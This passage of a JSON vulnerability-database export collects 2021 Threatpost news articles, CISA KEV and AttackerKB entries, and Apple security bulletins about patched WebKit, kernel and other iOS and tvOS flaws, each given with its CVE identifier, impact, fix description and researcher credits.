Monday.\n\n## **What is Apple WebKit?**\n\nThe WebKit browser engine was developed by Apple for use in its Safari web browser \u2013 however, it is also used by Apple Mail, the App Store, and various apps on the macOS and iOS operating systems. The vulnerability stems from a memory-corruption issue in WebKit; [this type of bug occurs](<https://threatpost.com/memory-corruption-mitigations-doing-their-job/124728/>) when the contents of a memory location are modified in a way that exceeds the intention of the original program/language constructs \u2013 allowing attackers to execute arbitrary code.\n\nIn the case of this specific flaw, if WebKit processes specially-crafted, malicious web content, it could lead to successful exploitation, according to Apple.\n\nIn a real-world attack, \u201ca remote attacker can create a specially crafted web page, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system,\u201d [according to an advisory.](<https://www.cybersecurity-help.cz/vdb/SB2021030901>)\n\n## **What Apple Devices Are Affected?**\n\nApple pushed the updates out across a variety of devices. Updates are available via [macOS Big Sur 11.2.3](<https://support.apple.com/en-us/HT212220>); [watchOS 7.3.2](<https://support.apple.com/en-us/HT212222>) (for the Apple Watch series 3 or later); and[ iOS 14.4.1 and iPadOS 14.4.1](<https://support.apple.com/en-us/HT212221>) (for the iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation).\n\nSecurity fixes are also available[ via Safari 14.0.3](<https://support.apple.com/en-us/HT212223>) for macOS Catalina and macOS Mojave: \u201cAfter installing this update, the build number for Safari 14.0.3 is 14610.4.3.1.7 on macOS Mojave and 15610.4.3.1.7 on macOS Catalina,\u201d noted Apple. Apple users [can visit this page](<https://support.apple.com/en-us/HT201222>) to learn how to update their devices.\n\nCl\u00e9ment Lecigne of Google\u2019s Threat Analysis Group and Alison Huffman of Microsoft Browser Vulnerability Research were credited with discovering the flaw.\n\n## **Apple Security Updates**\n\nIt\u2019s only the latest bug to be found in WebKit: Apple in January released an emergency update that patched three [recently discovered bugs in iOS](<https://threatpost.com/apple-patches-zero-days-ios-emergency-update/163374/>). Two of these \u2013 CVE-2021-1870 and CVE-2021-1871 \u2013 were discovered in WebKit (while the third, tracked as CVE-2021-1782, was found in the OS kernel).\n\nThe WebKit vulnerabilities are both logic issues that the update addresses with improved restrictions, according to Apple. Exploiting these flaws would allow a remote attacker \u201cto cause arbitrary code execution,\u201d the company said.\n\nThe security updates also come weeks after [Apple released its 2021 Platform Security guide](<https://threatpost.com/apple-2021-platform-security-guide/164094/>), outlining its current and year-ahead agenda for its device hardware, software and silicon security. The deep dive report covered iOS 14, macOS Big Sur, Apple Silicon and iCloud Drive security.\n\n**_Check out our free _****_[upcoming live webinar events](<https://threatpost.com/category/webinars/>)_****_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_** \n\u00b7 March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly** ([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>)) \n\u00b7 April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-09T15:58:15", "type": "threatpost", "title": "Apple Plugs Severe WebKit Remote Code-Execution Hole", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1782", "CVE-2021-1844", "CVE-2021-1870", "CVE-2021-1871"], "modified": "2021-03-09T15:58:15", "id": "THREATPOST:8372A3E62BAD4992E997A34240A7EB45", "href": "https://threatpost.com/apple-webkit-remote-code-execution/164595/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-05-05T13:57:45", "description": "Apple has issued out-of-band patches for critical security issues affecting iPad, iPhone and iPod, which could allow remote code execution (RCE) and other attacks, completely compromising users\u2019 systems. And, the computing giant thinks all of them may have already been exploited in the wild. \n\nThree of these are zero-day flaws, while one is an expanded patch for a fourth vulnerability. \n\nApple keeps details of security problems close to the vest, \u201cfor our customers\u2019 protection,\u201d saving the blood and guts until after it investigates and manages to pump out patches or new releases. \n\n[](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)\n\nJoin Threatpost for \u201c[Fortifying Your Business Against Ransomware, DDoS & Cryptojacking Attacks](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)\u201d a LIVE roundtable event on Wednesday, May 12 at 2:00 PM EDT for this FREE webinar sponsored by Zoho ManageEngine.\n\nWhat data it does disclose can be found on its [support page](<https://support.apple.com/en-us/HT201222>). Here\u2019s a summary of the three zero-days: \n\n## **Zero-Day Bugs in WebKit**\n\n * **CVE-2021-30665:** A critical memory-corruption issue in the Safari WebKit engine where \u201cprocessing maliciously crafted web content may lead to arbitrary code execution\u201d was addressed with improved state management. Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation). The bug was reported to Apple by three security researchers, nicknamed yangkang, zerokeeper and bianliang. \n\n * **CVE-2021-30663:** This second flaw is also found in the open-source WebKit browser engine. It\u2019s an integer overflow, reported by an anonymous researcher, that can also lead to RCE. It was addressed with improved input validation. Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation). \n\n * **CVE-2021-30666:** A buffer-overflow issue was addressed with improved memory handling. Available for: iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation)\n\nAnd here are details on the expanded patch for the fourth bug: \n\n## **WebKit Storage**\n\n * **CVE-2021-30661: **A use after free issue was addressed with improved memory management. Available for: iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation). This flaw was discovered and reported to the iPhone maker by the security researcher named yangkang, @dnpushme, of Qihoo 360 ATA.\n\nApple\u2019s support page shows that this fourth one was actually patched on Monday last week (April 26) in iOS 14.5 and macOS 11.3, but not in iOS 12. \n\nNaked Security\u2019s Paul Ducklin finds this one [particularly interesting](<https://nakedsecurity.sophos.com/2021/05/04/apple-products-hit-by-fourfecta-of-zero-day-exploits-patch-now/>), and he noted that questions remain. Why wasn\u2019t iOS 12 updated at the same time as iOS 14.5 and macOS 11.3? Did the security hole crop up in the code base after iOS 12 was released, perhaps? \n\nNo, that\u2019s not it: the CVE-2021-30661 and CVE-2021-30666 bugs fixed on Monday only apply to iOS 12. So it remains unclear if the bug exists in recent operating system versions, or not, Ducklin said.\n\n\u201cIs this an old bug from iOS 12 that was carried forward into the current Apple codebase but has still not yet been patched there?\u201d Ducklin pondered. \u201cOr is it a bug that is unique to the older iOS 12 code that doesn\u2019t appear in the more recent operating system releases and can therefore now be considered to have been eliminated everywhere?\u201d\n\nThreatpost has reached out to Apple for comment.\n\n## **Patch Fast!**\n\nPer usual, Apple\u2019s lip is zipped. But one thing\u2019s for sure: Patching as soon as possible is top priority. As it is, the chance for websites passing along \u201cmaliciously crafted web content\u201d is alarming. If you translate Apple\u2019s statement that \u201cprocessing maliciously crafted web content may lead to arbitrary code execution, \u201cyou get a \u201c[drive-by](<https://threatpost.com/google-sites-solarmarket-rat/165396/>), web-based zero-day RCE exploit, according to Ducklin.\n\nIn other words, all you have to do to trigger infection is to visit and view a booby-trapped website. \n\nJohn Kinsella, chief architect at cloud security company Accurics, says this is one of the nastier types of security bugs: one in which the user isn\u2019t required to perform a certain action for an attacker\u2019s success. \u201cPart of the issue here is that it\u2019s not just the browser that a user needs to be careful with,\u201d he told Threatpost in an email on Tuesday. \u201cMany iOS apps are just wrappers around a web application, which would be rendered by WebKit. For example, HTML mail in Apple\u2019s Mail app will be rendered by WebKit, and this app is a hard one to avoid. Even if a user takes advantage of new iOS functionality to replace the default iOS Mail and Safari apps with other mail/browser apps, the underlying HTML rendering engine would still be WebKit-based on Apple\u2019s App Store rules.\u201d\n\nKinsella says that if he\u2019s at all suspicious of something, he won\u2019t open it on a mobile device, but rather on a desktop or laptop, where he has much more control. \u201cThat being said, I know I\u2019m not the average user,\u201d he said. \u201cThe best advice I have is to patch ASAP, and generally be very careful.\u201d\n\nGiven that Apple has acknowledged that these vulnerabilities have already been exploited in the wild, and given the fact that HTML content is so prevalent on mobile devices, Kinsella considers a drive-by RCE like this to be a highly serious issue, though \u201cThe overall security of iOS means this isn\u2019t a complete takeover of the mobile device.\u201d\n\nStill, every extra foothold an attacker can get \u201chelps them further compromise a device,\u201d he said. \u201cThe fact that malicious HTML can compromise something on my wrist doesn\u2019t thrill me. Luckily Apple\u2019s been quite consistent with the reliability of their patches in recent years, so while I may sometimes wait for others to \u2018beta test\u2019 a release, a security patch like this was applied to my devices ASAP.\u201d\n\n## **What is WebKit? The Little Engine That Could**\n\nApple developed the WebKit browser engine to run in its Safari web browser, but it\u2019s also used by Apple Mail, the App Store, and various apps on the macOS and iOS operating systems. This, of course, isn\u2019t the first time that the engine has hit some bumps. \n\nIn January, Apple released an emergency update that patched three iOS[ bugs](<https://threatpost.com/apple-patches-zero-days-ios-emergency-update/163374/>). Two of them (CVE-2021-1870 and CVE-2021-1871 ) were discovered in WebKit (and the third, tracked as CVE-2021-1782, was found in the OS kernel).\n\nMore recently, in March, Apple patched other [severe WebKit RCEs](<https://threatpost.com/apple-webkit-remote-code-execution/164595/>). Similar to Monday\u2019s updates, those WebKit fixes could have allowed remote attackers to completely compromise affected systems.\n\n05-04-2021 14:52 UPDATE: Added input from Accurics\u2019 John Kinsella.\n\n**Join Threatpost for \u201c**[**Fortifying Your Business Against Ransomware, DDoS & Cryptojacking Attacks**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)**\u201d \u2013 a LIVE roundtable event on**[** Wed, May 12 at 2:00 PM EDT**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinarhttps://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)**. Sponsored by Zoho ManageEngine, Threatpost host Becky Bracken moderates an expert panel discussing best defense strategies for these 2021 threats. Questions and LIVE audience participation encouraged. Join the lively discussion and **[**Register HERE**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)** for free. **\n", "cvss3": {}, "published": "2021-05-04T16:16:37", "type": "threatpost", "title": "Apple Fixes Zero\u2011Day Security Bugs Under Active Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-22893", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666"], "modified": "2021-05-04T16:16:37", "id": "THREATPOST:33E56DEB736406F9DD08C7533BF1812B", "href": "https://threatpost.com/apple-zero%e2%80%91days-active-attack/165842/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cisa_kev": [{"lastseen": "2023-05-27T15:17:54", "description": "Apple iOS, iPadOs, macOS, watchOS, and tvOS contain a race condition vulnerability that may allow a malicious application to elevate privileges.", "cvss3": {"exploitabilityScore": 1.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.0, "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Apple Multiple Products Race Condition Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 6.9, "vectorString": "AV:L/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1782"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-1782", "href": "", "cvss": {"score": 6.9, "vector": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2023-06-04T02:19:15", "description": "A race condition was addressed with improved locking. This issue is fixed in macOS Big Sur 11.2, Security Update 2021-001 Catalina, Security Update 2021-001 Mojave, watchOS 7.3, tvOS 14.4, iOS 14.4 and iPadOS 14.4. A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited..\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.0, "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-02T00:00:00", "type": "attackerkb", "title": "CVE-2021-1782", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 6.9, "vectorString": "AV:L/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1782"], "modified": "2021-04-10T00:00:00", "id": "AKB:183D8BB0-8586-4082-B243-93481A8DD739", "href": "https://attackerkb.com/topics/cA8pKsSogj/cve-2021-1782", "cvss": {"score": 6.9, "vector": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}}], "apple": [{"lastseen": "2023-05-27T22:02:30", "description": "# About the security content of iOS 12.5.4\n\nThis document describes the security content of iOS 12.5.4.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 12.5.4\n\nReleased June 14, 2021\n\n**Security**\n\nAvailable for: iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation)\n\nImpact: Processing a maliciously crafted certificate may lead to arbitrary code execution\n\nDescription: A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code.\n\nCVE-2021-30737: xerub\n\n**WebKit**\n\nAvailable for: iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30761: an anonymous researcher\n\n**WebKit**\n\nAvailable for: iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A use after free issue was addressed with improved memory management. \n\nCVE-2021-30762: an anonymous researcher\n\n\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: June 14, 2021\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-14T00:00:00", "type": "apple", "title": "About the security content of iOS 12.5.4", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30737", "CVE-2021-30761", "CVE-2021-30762"], "modified": "2021-06-14T00:00:00", "id": "APPLE:852BF4CFEE89DF537390F83B28A0C41D", "href": "https://support.apple.com/kb/HT212548", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-02T04:44:57", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 14.4\n\nReleased January 26, 2021\n\n**Analytics**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1761: Cees Elzinga\n\nEntry added February 1, 2021\n\n**APFS**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local user may be able to read arbitrary files\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2021-1797: Thomas Tempelmann\n\nEntry added February 1, 2021\n\n**CoreAnimation**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application could execute arbitrary code leading to compromise of user information\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-1760: @S0rryMybad of 360 Vulcan Team\n\nEntry added February 1, 2021\n\n**CoreAudio**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1747: JunDong Xie of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**CoreGraphics**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.\n\nCVE-2021-1776: Ivan Fratric of Google Project Zero\n\nEntry added February 1, 2021\n\n**CoreMedia**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1759: Hou JingYi (@hjy79425575) of Qihoo 360 CERT\n\nEntry added February 1, 2021\n\n**CoreText**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2021-1772: Mickey Jin of Trend Micro\n\nEntry added February 1, 2021\n\n**CoreText**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1792: Mickey Jin & Junzhi Lu of Trend Micro\n\nEntry added February 1, 2021\n\n**Crash Reporter**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local user may be able to create or modify system files\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1786: Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added February 1, 2021\n\n**Crash Reporter**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1787: James Hutchins\n\nEntry added February 1, 2021\n\n**FairPlay**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to disclose kernel memory\n\nDescription: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed with improved input validation.\n\nCVE-2021-1791: Junzhi Lu (@pwn0rz), Qi Sun & Mickey Jin of Trend Micro\n\nEntry added February 1, 2021\n\n**FontParser**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1758: Peter Nguyen of STAR Labs\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1766: Danny Rosseau of Carve Systems\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1785: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1744: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1818: Xingwei Lin from Ant-financial Light-Year Security Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1746: Xingwei Lin of Ant Security Light-Year Lab, and Mickey Jin & Qi Sun of Trend Micro\n\nCVE-2021-1793: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1773: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1741: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1743: Xingwei Lin of Ant Security Light-Year Lab, and Mickey Jin & Junzhi Lu of Trend Micro\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: An out-of-bounds read issue existed in the curl. This issue was addressed with improved bounds checking.\n\nCVE-2021-1778: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An access issue was addressed with improved memory management.\n\nCVE-2021-1783: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**IOSkywalkFamily**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1757: Proteas and Pan ZhenPeng (@Peterpan0927) of Alibaba Security\n\nEntry added February 1, 2021\n\n**iTunes Store**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted URL may lead to arbitrary javascript code execution\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2021-1748: CodeColorist of Ant-Financial Light-Year Labs\n\nEntry added February 1, 2021\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1764: Maxime Villard (m00nbsd)\n\nEntry added February 1, 2021\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1750: @0xalsr\n\nEntry added February 1, 2021\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A race condition was addressed with improved locking.\n\nCVE-2021-1782: an anonymous researcher\n\n**Swift**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-1769: CodeColorist of Ant-Financial Light-Year Labs\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1788: Francisco Alonso (@revskills)\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A type confusion issue was addressed with improved state handling.\n\nCVE-2021-1789: @S0rryMybad of 360 Vulcan Team\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Maliciously crafted web content may violate iframe sandboxing policy\n\nDescription: This issue was addressed with improved iframe sandbox enforcement.\n\nCVE-2021-1801: Eliya Stein of Confiant\n\nEntry added February 1, 2021\n\n**WebRTC**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious website may be able to access restricted ports on arbitrary servers\n\nDescription: A port redirection issue was addressed with additional port validation.\n\nCVE-2021-1799: Gregory Vishnepolsky & Ben Seri of Armis Security, and Samy Kamkar\n\nEntry added February 1, 2021\n\n\n\n## Additional recognition\n\n**iTunes Store**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\nEntry added February 1, 2021\n\n**Kernel**\n\nWe would like to acknowledge Junzhi Lu (@pwn0rz), Mickey Jin & Jesse Change of Trend Micro for their assistance.\n\nEntry added February 1, 2021\n\n**libpthread**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\nEntry added February 1, 2021\n\n**Store Demo**\n\nWe would like to acknowledge @08Tc3wBB for their assistance.\n\nEntry added February 1, 2021\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-01T06:39:19", "title": "About the security content of tvOS 14.4 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1818", "CVE-2021-1772", "CVE-2021-1778", "CVE-2021-1743", "CVE-2021-1769", "CVE-2021-1761", "CVE-2021-1792", "CVE-2021-1757", "CVE-2021-1744", "CVE-2021-1786", "CVE-2021-1791", "CVE-2021-1748", "CVE-2021-1773", "CVE-2021-1758", "CVE-2021-1787", "CVE-2021-1760", "CVE-2021-1746", "CVE-2021-1785", "CVE-2021-1759", "CVE-2021-1741", "CVE-2021-1747", "CVE-2021-1801", "CVE-2021-1799", "CVE-2021-1788", "CVE-2021-1782", "CVE-2021-1766", "CVE-2021-1783", "CVE-2021-1797", "CVE-2021-1793", "CVE-2021-1776", "CVE-2021-1789", 